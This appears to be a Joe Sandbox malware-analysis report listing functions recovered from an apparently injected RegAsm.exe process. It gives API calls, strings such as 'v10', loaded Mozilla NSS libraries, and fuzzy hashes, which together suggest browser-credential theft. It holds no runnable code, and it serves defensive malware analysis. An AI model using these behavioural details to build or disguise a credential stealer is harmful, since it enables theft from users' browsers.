Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpynlstrlenwsprintf
String ID: %s%s$C:\Users\user\Documents\
API String ID: 1206339513-3951128419
Opcode ID: c38afd078d26a8766b181f94c767f2bbfc7741c05bdeeec0a8c04df6f0fc2eea
Instruction ID: 10f2b21f218e3da3afb9cf9d76acc345893fd493ca738d50084de65d60e29f1c
Opcode Fuzzy Hash: c38afd078d26a8766b181f94c767f2bbfc7741c05bdeeec0a8c04df6f0fc2eea
Instruction Fuzzy Hash: 5EF089332002197FDB011F99EC48D9BBFAEEF597B5B040026FD08A3211C77159258BE5

Uniqueness

Uniqueness Score: -1.00%

Function 6CD8D5D0 Relevance: 9.0, APIs: 4, Strings: 1, Instructions: 279COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000001,?,?,?,?,6CD5EB57,?,?,?,?,?,?,?,?,?), ref: 6CD8D652
memset.VCRUNTIME140(00000000,00000000,00000001,?,?,?,?,?,6CD5EB57,?), ref: 6CD8D660
free.MOZGLUE(?,?,?,?,?,?,?,?,?,6CD5EB57,?), ref: 6CD8D673
free.MOZGLUE(?), ref: 6CD8D888

Strings

|Enabled, xrefs: 6CD8D81E

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: free$memsetmoz_xmalloc
String ID: |Enabled
API String ID: 4142949111-2633303760
Opcode ID: d1aa695dabb7ffe37d6ff39f46f2dcd627d0cde74ee1e70dee78bcb93b63192b
Instruction ID: ceadd5e5df541231201b7e6b1f69c236d9a6060488fb95b611be892ad9dc4ee7
Opcode Fuzzy Hash: d1aa695dabb7ffe37d6ff39f46f2dcd627d0cde74ee1e70dee78bcb93b63192b
Instruction Fuzzy Hash: E4A116B0A01309DFDF10CF69C8907AEBBF5AF49318F58405ED885ABB91D734A845CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 00406798 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103memoryCOMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040679D
memcmp.MSVCRT ref: 004067C3
memset.MSVCRT ref: 004067F2
LocalAlloc.KERNEL32(00000040,?,?,?,?,?,?,00000000), ref: 00406827

Part of subcall function 0040E580: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E5AA

Part of subcall function 0040E5F4: lstrlen.KERNEL32(?,00000000,?,00414F6E,004243BA,004243B7,00000000,00000000,?,00415729), ref: 0040E5FD
Part of subcall function 0040E5F4: lstrcpy.KERNEL32(00000000,00000000), ref: 0040E631

Part of subcall function 0040E5B7: lstrcpy.KERNEL32(00000000,GPA), ref: 0040E5DD

Strings

v10, xrefs: 004067BB

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: lstrcpy$AllocH_prologLocallstrlenmemcmpmemset
String ID: v10
API String ID: 2733184300-1337588462
Opcode ID: 8fbf00276f96ed49a9eba46036bfe821f0999ce692f1b23a42ad2b28bb5d4dd7
Instruction ID: dc6847eb9480b427728b34da560808dce9919fcbe72423b9a71ec207e2fc14aa
Opcode Fuzzy Hash: 8fbf00276f96ed49a9eba46036bfe821f0999ce692f1b23a42ad2b28bb5d4dd7
Instruction Fuzzy Hash: 0A318F72901209ABDB10EF95DC81EEEB778EF40704F11853BF812B61C0E77C9A55CA58

Uniqueness

Uniqueness Score: -1.00%

Function 6CD8F440 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 103fileCOMMON

Download Yara Rule

APIs

GetFileInformationByHandle.KERNEL32(00000000,?), ref: 6CD8F480

Part of subcall function 6CD5F100: LoadLibraryW.KERNEL32(shell32,?,6CDCD020), ref: 6CD5F122
Part of subcall function 6CD5F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6CD5F132

CloseHandle.KERNEL32(00000000), ref: 6CD8F555

Part of subcall function 6CD614B0: wcslen.API-MS-WIN-CRT-STRING-L1-1-0(6CD61248,6CD61248,?), ref: 6CD614C9
Part of subcall function 6CD614B0: memcpy.VCRUNTIME140(?,6CD61248,00000000,?,6CD61248,?), ref: 6CD614EF

Part of subcall function 6CD5EEA0: memcpy.VCRUNTIME140(?,?,?), ref: 6CD5EEE3

CreateFileW.KERNEL32 ref: 6CD8F4FD
GetFileInformationByHandle.KERNEL32(00000000), ref: 6CD8F523

Strings

\oleacc.dll, xrefs: 6CD8F4CB

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: FileHandle$Informationmemcpy$AddressCloseCreateLibraryLoadProcwcslen
String ID: \oleacc.dll
API String ID: 2595878907-3839883404
Opcode ID: 1fb4011e293e2a8936782ce4d01c632e75574ad040959fb7ebbb0cdc275ffa8a
Instruction ID: c41cc743364786594eece3b3888c0fd75139c0b7df08ab656ec7b3e8caaa59eb
Opcode Fuzzy Hash: 1fb4011e293e2a8936782ce4d01c632e75574ad040959fb7ebbb0cdc275ffa8a
Instruction Fuzzy Hash: D9419470609711DFE720DF69D844A9BB7F4AF44318F500A5CF691876A0EB30E549CB92

Uniqueness

Uniqueness Score: -1.00%

Function 0040DF0E Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 74COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040DF13
memcpy.MSVCRT ref: 0040DFB2

Strings

@, xrefs: 0040DFD7
@, xrefs: 0040DF1D
@, xrefs: 0040DF9A, 0040DFAD

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: H_prologmemcpy
String ID: @$@$@
API String ID: 2991061955-3781450513
Opcode ID: d3e8d23bf697e2f473509ab02634db89219479d492ed2fd371fc89b2ef02ba16
Instruction ID: edffe23c1910aca9a5d5a19f4ead51f08f1742a0d1eab6f93a447881c6e1142f
Opcode Fuzzy Hash: d3e8d23bf697e2f473509ab02634db89219479d492ed2fd371fc89b2ef02ba16
Instruction Fuzzy Hash: 3D21F531F00202ABD7249F9CC88076EBBB6EB84754F20853FF406AB2C1C774AA44C799

Uniqueness

Uniqueness Score: -1.00%

Function 6CDB74A0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 72COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(00000000), ref: 6CDB7526
__Init_thread_footer.LIBCMT ref: 6CDB7566
__Init_thread_footer.LIBCMT ref: 6CDB7597

Strings

UnmapViewOfFile2, xrefs: 6CDB7552
kernel32.dll, xrefs: 6CDB7557

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Init_thread_footer$ErrorLast
String ID: UnmapViewOfFile2$kernel32.dll
API String ID: 3217676052-1401603581
Opcode ID: eba17854716220efc1277ca6ce2cde541e666d17d7ce741e95df30e0b78e2698
Instruction ID: 879e8e5a2193441be876d9d462c248f2b173f7f63283d64ddc74129b2e558e4a
Opcode Fuzzy Hash: eba17854716220efc1277ca6ce2cde541e666d17d7ce741e95df30e0b78e2698
Instruction Fuzzy Hash: 8E214571F01401F7EA14ABA88804ED933B9EB46765F12452CE50667FA0CB30B90587B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CE60DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6CE60BDE), ref: 6CE60DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6CE60BDE), ref: 6CE60DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6CE60BDE), ref: 6CE60DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6CE60BDE), ref: 6CE60E32

Strings

%s incr => %d (find lib), xrefs: 6CE60E2D

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 6f09c341029bb58c633798ef95429776cdb746b863d1770834ea7390f18497a9
Instruction ID: 0f3f1802ca8699514f6ebf177b9da425783b5d4a2f8152005fa8dedc23168dbf
Opcode Fuzzy Hash: 6f09c341029bb58c633798ef95429776cdb746b863d1770834ea7390f18497a9
Instruction Fuzzy Hash: BF01F172B512209FEA208B26DC49E1773B8DF46A08B1444ADE909D3B41E762FC1886E1

Uniqueness

Uniqueness Score: -1.00%

Function 0040E954 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 33memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,00000000,?,Version: ,0042435E), ref: 0040E962
HeapAlloc.KERNEL32(00000000,?,00000000,?,Version: ,0042435E), ref: 0040E969
GetLocalTime.KERNEL32(00000000,?,00000000,?,Version: ,0042435E), ref: 0040E975
wsprintfA.USER32 ref: 0040E9A0

Strings

^CB, xrefs: 0040E97B, 0040E97F

Memory Dump Source

Source File: 0000000D.00000002.1658372250.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 0000000D.00000002.1658372250.0000000000431000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000520000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000523000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000529000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000567000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.0000000000600000.00000040.00000400.00020000.00000000.sdmpDownload File
Associated: 0000000D.00000002.1658372250.000000000063C000.00000040.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_400000_RegAsm.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID: ^CB
API String ID: 1243822799-3672499922
Opcode ID: f4e31b41c4f837f3f9b6a05b65a51a9ce5930b8ebfcd67e28f82b396df0ccc0f
Instruction ID: 25b842971a62ea4220106e84a2e499dab2200740227a77a54e95fb6ecba8386c
Opcode Fuzzy Hash: f4e31b41c4f837f3f9b6a05b65a51a9ce5930b8ebfcd67e28f82b396df0ccc0f
Instruction Fuzzy Hash: FCF0FEA6900124BBCB50ABE9AC09ABF76FDEF0CB12F001042FA41E1090E7388A51D7B4

Uniqueness

Uniqueness Score: -1.00%

Function 6CDBC410 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CDBC0E9), ref: 6CDBC418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6CDBC437
FreeLibrary.KERNEL32(?,6CDBC0E9), ref: 6CDBC44C

Strings

ntdll.dll, xrefs: 6CDBC413
NtQueryVirtualMemory, xrefs: 6CDBC431

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: 5d26cefa099d741f5ebe54c490dcecdf099148d01c5b1f390777d59cd5391738
Instruction ID: 747735466438367cb06e08c2053c900b46cf0b7b1f58084b6312e1682dd33d5b
Opcode Fuzzy Hash: 5d26cefa099d741f5ebe54c490dcecdf099148d01c5b1f390777d59cd5391738
Instruction Fuzzy Hash: 62E092B0E01302ABFF006B71C908716BAFCB746609F04451AEB8592660EBB0F145AB52

Uniqueness

Uniqueness Score: -1.00%

Function 6CDB75B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6CDB748B,?), ref: 6CDB75B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6CDB75D7
FreeLibrary.KERNEL32(?,6CDB748B,?), ref: 6CDB75EC

Strings

ntdll.dll, xrefs: 6CDB75B3
RtlNtStatusToDosError, xrefs: 6CDB75D1

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: 67f47c7efe078acb8566459a69b5c30c60c08d746d4ec1eb6ef7abe9480f05ac
Instruction ID: 9a879eb4bc2092b03a8318e6c4b0e891b87187c609094faca3cc47a082ced4e9
Opcode Fuzzy Hash: 67f47c7efe078acb8566459a69b5c30c60c08d746d4ec1eb6ef7abe9480f05ac
Instruction Fuzzy Hash: FAE09AB1E00302BBFB006BA1C9487817AFCE746259F218425EB15D6690DB70F045CF10

Uniqueness

Uniqueness Score: -1.00%

Function 6CD54DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CD54E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CD54E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CD54EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6CD54F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6CD54F1E

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 6e3bd524688f2d0630242112dfb90c971d5e2c75e26a9462a36616a469082f4f
Instruction ID: cdf92f8b7c0fffb80a5222d88046f53bed15ad8c504b5b6462bd4f33404f84da
Opcode Fuzzy Hash: 6e3bd524688f2d0630242112dfb90c971d5e2c75e26a9462a36616a469082f4f
Instruction Fuzzy Hash: 3941DF71608701DFCB05CF28C88095BB7E8BF89354F508A2DF9A597661DB31E978CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD61530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6CD6152B,?,?,?,?,6CD61248,?), ref: 6CD6159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6CD6152B,?,?,?,?,6CD61248,?), ref: 6CD615BC
moz_xmalloc.MOZGLUE(-00000001,?,6CD6152B,?,?,?,?,6CD61248,?), ref: 6CD615E7
free.MOZGLUE(?,?,?,?,?,?,6CD6152B,?,?,?,?,6CD61248,?), ref: 6CD61606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6CD6152B,?,?,?,?,6CD61248,?), ref: 6CD61637

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: b3176f4717c00add2bd42b5e6b1e364167a3d4c1fbcfa61254e143b50c0360b9
Instruction ID: 92678cba327e9c46b1e4e79004f642e3cd632bc6cbfde0e98d478e336b98a780
Opcode Fuzzy Hash: b3176f4717c00add2bd42b5e6b1e364167a3d4c1fbcfa61254e143b50c0360b9
Instruction Fuzzy Hash: EC31C4B2A001148BCB188F7DD85146EB6B9AB81364B240B2DE423DBFF4EB30D914C792

Uniqueness

Uniqueness Score: -1.00%

Function 6CE6EDE0 Relevance: 7.6, APIs: 5, Instructions: 97COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6CE6EDFD
calloc.MOZGLUE(00000001,00000000), ref: 6CE6EE64
PR_SetError.NSS3(FFFFE8AC,00000000), ref: 6CE6EECC
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE6EEEB
free.MOZGLUE(?), ref: 6CE6EEF6

Memory Dump Source

Source File: 0000000D.00000002.1678820805.000000006CDF1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDF0000, based on PE: true

Associated: 0000000D.00000002.1678798782.000000006CDF0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1681169936.000000006CF8F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682090347.000000006CFCE000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682112608.000000006CFCF000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682134802.000000006CFD0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 0000000D.00000002.1682154050.000000006CFD5000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cdf0000_RegAsm.jbxd

Similarity

API ID: ErrorValuecallocfreememcpy
String ID:
API String ID: 3833505462-0
Opcode ID: 6c131e0d4a6cd9fd72659e80767563c8d1fbc8f962366011407afb95fdfd069d
Instruction ID: fd991b6561f2822e53bc7436575b9fa1dc6f789a1458baab2e537423a0c9d982
Opcode Fuzzy Hash: 6c131e0d4a6cd9fd72659e80767563c8d1fbc8f962366011407afb95fdfd069d
Instruction Fuzzy Hash: 2C310771A60A009BEB209F2ECC497677BF4FB46318F240529E85A87F91D731E915CBD1

Uniqueness

Uniqueness Score: -1.00%

Function 6CDBAD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6CDCE330,?,6CD7C059), ref: 6CDBAD9D

Part of subcall function 6CD6CA10: malloc.MOZGLUE(?), ref: 6CD6CA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6CDCE330,?,6CD7C059), ref: 6CDBADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6CDCE330,?,6CD7C059), ref: 6CDBAE01
GetLastError.KERNEL32(?,00000000,?,?,6CDCE330,?,6CD7C059), ref: 6CDBAE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6CDCE330,?,6CD7C059), ref: 6CDBAE3D

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 9447af5494f8e2ee6fc4199ab97d183e280201892b13a14b302a6c77ddd7fdf0
Instruction ID: 916e8ea4ea27a7babc5cee698598919e2abdbf5773eca95d30f3cff18a1e8ce8
Opcode Fuzzy Hash: 9447af5494f8e2ee6fc4199ab97d183e280201892b13a14b302a6c77ddd7fdf0
Instruction Fuzzy Hash: 6D314FB1A002159FDB10DF798C44AABB7F8EF49614F154429E94AE7750E734E804CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6CDB5EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6CDCDCA0,?,?,?,6CD8E8B5,00000000), ref: 6CDB5F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CD8E8B5,00000000), ref: 6CDB5F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6CD8E8B5,00000000), ref: 6CDB5F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6CD8E8B5,00000000), ref: 6CDB5F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6CD8E8B5,00000000), ref: 6CDB5FD6

Memory Dump Source

Source File: 0000000D.00000002.1677501482.000000006CD51000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6CD50000, based on PE: true

Associated: 0000000D.00000002.1677416549.000000006CD50000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678323473.000000006CDCD000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678573921.000000006CDDE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 0000000D.00000002.1678717066.000000006CDE2000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_13_2_6cd50000_RegAsm.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 019a0eb24b1e753216e745d8d4ae98a70bdc06cecd21324108305e65c44fd2f8
Instruction ID: 7f9a90e1d06f96ad6947b3212c076e871ce248f24f14c856b865b652cb2eae86
Opcode Fuzzy Hash: 019a0eb24b1e753216e745d8d4ae98a70bdc06cecd21324108305e65c44fd2f8
Instruction Fuzzy Hash: 3B310874300600DFD711CF29C898A2AB7FAFF89319B648558E5579BBA5DB31EC41CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0040FD6A Relevance: 7.6, APIs: 5, Instructions: 88COMMON

Download Yara Rule

APIs

_EH_prolog.MSVCRT ref: 0040FD6F
memset.MSVCRT ref: 0040FD91

Part of subcall function 0040F9C0: GetProcessHeap.KERNEL32(00000000,000000FA,00000000,?,0040FDBE,00000000), ref: 0040F9CB
Part of subcall function 0040F9C0: HeapAlloc.KERNEL32(00000000,?,0040FDBE,00000000), ref: 0040F9D2
Part of subcall function 0040F9C0: wsprintfW.USER32 ref: 0040F9E3

OpenProcess.KERNEL32(00001001,00000000,?,?,00000000), ref: 0040FE18
TerminateProcess.KERNEL32(00000000,00000000), ref: 0040FE26
CloseHandle.KERNEL32(00000000), ref: 0040FE2D

Memory Dump Source

